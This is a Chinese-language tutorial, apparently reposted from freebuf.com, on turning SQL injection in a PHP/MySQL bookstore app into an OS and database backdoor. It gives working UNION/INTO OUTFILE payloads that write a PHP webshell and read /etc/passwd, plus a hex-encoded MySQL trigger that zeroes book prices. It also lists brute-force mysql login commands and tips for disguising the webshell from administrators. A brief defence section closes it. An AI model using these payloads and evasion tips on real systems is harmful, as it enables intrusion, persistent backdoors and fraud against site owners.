如何利用SQL注入制造一个后门
0×01,介绍…
0×02,什么是Sql Injection..
0×03,一个系统后门(OS)Backdoor.
0×04,获得一个OS Shell
0×05,一个数据库后门(Database backdoor).
0×07,推荐的防御措施…
0×08,结论…
0×09,参考…
0×01,介绍
如果你正在读这篇文章那么我有理由相信你曾经听说过一种病毒,或者是它一种特洛伊木马或者蠕虫,这类恶意程序可以感染你的计算机系统。一旦你的计算机系统被感染,那么当你使被感染的计算机连接到互联网,它很可能会去感染其他的计算机。许多时候,恶意软件不仅仅只是从一台计算机传播到另一台,他们会针对每一台感染的计算机进行自身的变异。这些变化将会让病毒远程的控制每一台计算机并使它们在之后感染更多的计算机系统。这些病毒第一次执行时会复制一个小型的可执行文件到用户的磁盘上,这个可执行文件仅仅会监听在当前计算机系统未使用的端口上从而恶意软件可以在被感染主机连入互联网的任意时刻访问这台主机。这个小的可执行文件叫做后门(Backdoor)。我在这里已经简要的说明了后门的概念。
0×02,什么是Sql Injection
已经有超过1百万的文章讲述了什么是Sql注入并且怎样去发现和怎样去避免这类威胁,所以我不想再次重复。如果你需要了解一些关于Sql注入的背景知识,这里有一个介绍性文章的连接可以供你阅读。这篇文章末尾我也提供了一些参考资料可以让你针对这篇文章所讨论的话题获得更多的知识信息。
0×03,一个系统后门(OS)Backdoor
这篇文章的目的是利用Sql Injection执行各种各样的命令最终控制操作系统。为了运行系统命令,我们需要一个CMD shell,或者需要执行一些代码使得我们可以执行OS命令。让我们分别尝试一下这两种方法。
0×04,获得一个OS Shell
现在我们将写我们自己的代码使之可以让我们运行任意OS命令来控制操作系统。所以,从之前的文章中我们已经知道搜索部分的变量存在Sql Injection并且在question表中存在4个列名。作为提示,语句Harry Potter’ union select 1,2,3,4#将会出现错误:
现在,我们想插入可以执行系统命令的PHP代码。为了实现这个目的,我们使用MYsql提供的INTO OUTFILE特性。使用Using INTO OUTFILE,可以将查询的输出重定向到系统的文件中去。真因为如此,我们可以执行Harry Potter’ union select ‘TEXT INTO FILE’,2,3 INTO OUTFILE ‘/tmp/blah.txt’#,然后字符串‘TEXT INTO FILE’将会被存储在目录/tmp下的blah.txt中。如图:
现在我们将 ‘TEXT INTO FILE’替换成基本的PHP代码使之可以读取URL的参数来执行系统命令控制操作系统。我们使用这样的语句: Harry Potter’ union select “<?system($_REQUEST['cmd']); ?>”,2,3 INTO OUTFILE ‘/var/www/test/execcmd.php’# ,如图:
就是这样!但是还出现了很多我们根本不关心的书籍的内容。所以我调整了我的查询语句为:
‘ union select “<? system($_REQUEST['cmd']); ?>”,2,3 INTO OUTFILE ‘/var/www/test/execcmd.php’#并再次执行。
尽管这回还是返回了2和3,但是好多了。
现在我们访问execcmd.php并把命令[cat /etc.passwd]传递给我们想提交执行的参数。
成功了。通过我多次的尝试,这里有几点需要注意的事情。
–运行这条语句的数据库用户需要拥有FILE权限,否则不能执行INTO OUTFILE命令。
–在MySQL服务运行的主机中必须存在一个可写的Web目录,否则你不能访问你刚刚上传的Webshell。你可以将代码写入到总是可写的目录像/ttmp,但是你没有权限访问它。
一种简单的方式来实现OS Shell是使用SQLMap内置的特性。如果你读过我之前的文章,你会记得我使用过SQLMap。让我们通过SQLMap来完成同样的事情。
下面的OS shell截图是在使用SQLMap进行注入时加入了一个简单的参数并且在提示处选择了PHP Web Shell而获得的。
运行一个命令来检查我们是否已经获得了一个Shell。OK,没问题。
这实在是太容易了。
不幸的是,从‘破坏者’的角度来看这也同样是简单的。
现在有了这么简单快捷的方法你肯定不想再用之前的方法了,但是知道手动利用的方法总是有帮助的(这样当使用工具失败时你可以有另外的方法)。还有一件事需要注意,难获得了一
个WebShell时,请使用一个和Web目录中已经存在的文件十分相似的名字去命名。这会帮助你隐藏你的WebShell使之不会被管理员不经意间轻易的发现。
在开始下一类Backdoor之前,我将向你展示隐藏SQLMap的方法。你可以通过设置代理来运行SQLMap。
然后当SQLMap将实际的WebShell上传到可写目录的时候,brupSuite会拦截到一些请求,让我们看一下这些请求。
我们能看到一些熟悉的东西。让我们通过URL decode来确定一下。看一下在底部面板的蓝色高亮的部分。它显示出SQLMap正在使用INTO OUTFILE命令,和我们之前人工使用的方法是一样的。
最后,我们看一下SQLMap上传WebShell的内容,非常有意思,看一下底部的面板。
这就是关键,工具再一次的大大简化了我们本该花费大量时间进行的繁琐工作。
0×05,一个数据库后门(Database backdoor)
现在我们知道一个OS后门可以在Web应用存在SQL Injection时被植入到系统中。现在让我们看看如何在数据库中植入一个后门吧。在我们继续之前,我们需要一些了解一下backdoor function的相关知识。在OS backdoor中,我们直接访问了后门并且传递给它了一个命令;但在这里却并不会那么直接。当我们每一个插入的操作执行时,我们配置的后门会改变数据库中一些敏感数据的值。所以,每一本书在添加到数据库中时价格会被我们的后门设置成0,以至于人们可以免费“购买”这些书籍。这在真实的环境中可能会很快被发现。
所以我们在数据库中有一些叫做“触发器”的东西,基本的意思就是——“当某些我们希望发生的事情发生时,触动触发器去做另外一些事情”。这描述的确实太模糊了,然我们举一个更明显的例子。假如你是一个警察,某一时刻你看到一个连环杀手,你扣动扳机并且发射出一枚子弹对么?那么把他转换为我们之前的场景——有一个INSERT语句(杀手),一个Database trigger(枪手)开火了,那么动作(action)就是释放你之前已经配置(configured)好的子弹(bullet)。
下面使我们要写的一个MySQL触发器的例子:
delimiter #
CREATE TRIGGER price BEFORE INSERT ON books
for each row begin
set new.price=’0′;
end;#
delimiter ;
b)无论任何时候如果我们执行一个Insert语句,比如假如一本书,那么我们设置其价格为0.下面是它的意思:
a)设置默认的MySQL分隔符为’#',因为默认的分隔符是’;'在MySQL作为特殊字符处理了,而我们需要将其作为数据处理。所以我们改变分隔符为’#',表示’#'现在有一个特殊的含义。
c)终止触发器并将分隔符重置为’;'。
然我们使用Sql Injection将触发器复制到服务器上。下面是要作为搜索框输入的语句:
Harry Potter’ AND 1=0 union select 0×20,0×20,0×20 INTO OUTFILE ‘/var/www/test/g2′ LINES TERMINATED BY 0x64656c696d6974657220230a4352454154452054524947474552207072696365204245464f524520494e53455254204f4e20626f6f6b730a666f72206561636820726f7720626567696e0a736574206e65772e70726963653d2730273b0a656e643b230a64656c696d69746572203b#
我会快速解释一下这个查询语句—因为即使看起来它很复杂—其实不然。我们使用1=0因为我们对关于《Harry Potter》的查询结果并不感兴趣。0×20的位置只是查询了三次空格’space’;这是为了我可以仅仅得到想要重定向到文件’/var/www/test.g2′中的内容。然后LINES TERMINATED BY后面的部分是整个触发器使用hex函数转换后的形式(我是用的是Brup Decoder,不要坐在那儿浪费时间去手工转化它)。
让我们运行一下看看会在文件/var/www/test/g2中出现什么。
你注意到了最开始的几个空格了么?这就是我们之前看到的select 0×20,0×20,0×20的作用。之后的内容就显而易见了。
现在我们以某种方式执行这个查询然后我们的触发器会在每次一本书被插入时激活,这里有三种实现的方法。
a)多语句查询(Stacked Queries)—Harry Potter’ UNION blah blah blah;source /var/www/test/g2但是这事实上不会成功执行,因为PHP+MySQL不支持多语句查询。
b)滥用MySQL默认触发器行为(Abusing MySQL default trigger behavior)—这种方法我还没有测试过,不过在Stefano Di Paola的文章中被描述的非常清楚。尝试一下吧,我找时间也会测试一下。
c)使用SQL Injection工具比如SQLMap运行我们存放在/var/www/test/g2中保存的触发器。这是我们将要测试的方法。
我们来再次运行SQLMap并获得一个我们可以运行触发器的SQL shell。
看最后一行。不幸的是,只有当支持多语句查询时,这种方法才可以执行。这意味着上面的选项a,c意味着同一种情况。让我们通过代理来查看SQLMap的请求。
让我们在Sql-shell中执行一个简单的创建新数据库的语句—”create database boo;”并在Brup中查看。
我们可以看到,SQLMap尝试将它转换为一个SELECT查询。这将永远不会执行成功。从Burp相应的内容证实了这一点。
我能想到的唯一一种能够顺序执行我们的查询的可行办法包含以下几个步骤:
—猜解一个有效MySQL用户的密码。例如,你猜到root的密码是test123
—注入一个OS webshell后门。
—注入一个类似之前格式的触发器。
—现在通过在Webshell中运行MySQL命令来安装触发器。
我有几张截图来说明为什么这样是可行的。为了照顾初学者,这里有张截图表名当前不存在任何触发器。
假设我们已经猜解到了用户名和密码root和toor(通过Blind SQL暴力猜解mysql.user表)。现在我们反问Web shell并传递一个命令:
mysql -u<USERNAME> -p<PASSWORD> <DB NAME> < /var/www/test/g2
现在我们再来看一下数据库。
看到了我们的触发器。
现在我们来运行一个INSERT查询来检查我们的触发器是否会运行。然后所有Jeffrey Archer的书的价格会变得非常不可思议。
现在执行查询:
看最后一行。某些人可以不用支付他本认为应该支付的价格了。
现在我们直接执行一个INSERT查询来控制数据库。在真实环境中将会有一个表单来添加书籍,在后端很可能会有一个INSERT查询,这时触发器很有可能被触发执行。这是我没有创建另外一个表单的唯一原因。
明显地,一个大前提是我们能够猜解数据库的用户名和密码。下面有一个简单的思路可以让你实现这个目的。
—想一些常用的数据库用户名(比如MySQL的root)或者通过社会工程学获得一些。
—MySQL密码是通过哈希加密的,并不是明文。
你可以通过以下两种方式破解密码:
—通过SQL Injection将密码的Hash与密码明文列表对比。(参考我之前的文章)
—在WebShell中通过密码明文列表和一个特定的用户名来运行触发器。你可以写一个Perl或者Ruby脚本来为你做这些事情。尝试在遍历完明文密码列表之后插入一本书,或者在每次猜解后找出那个密码是正确的。
mysql -uroot -ptoor blindsql_test< /var/www/test/g2
mysql -uroot -proot blindsql_test< /var/www/test/g2
mysql -uroot -ptest blindsql_test< /var/www/test/g2
mysql -uroot -ppassword blindsql_test< /var/www/test/g2
0×07,推荐的防御措施
a)使用参数化查询来防御SQL注入攻击。
b)不要在Web目录中存在大量可写目录。
c)限制Web应用在后端查询数据库的用户的权限。为了实现这一点,不要给其分配FILE权限。
d)设置复杂的数据库密码和健壮的密码策略。
0×08,结论
这个问题的根源,是Web应用存在Sql注入弱点。修复它将会阻止这种威胁的发生。然而,知道不同的植入后门的方法还是有益的。许多恶意软件将会通过这种方式传播;也需要采取措施来防止它们。
出自:
http://www.freebuf.com/articles/222.html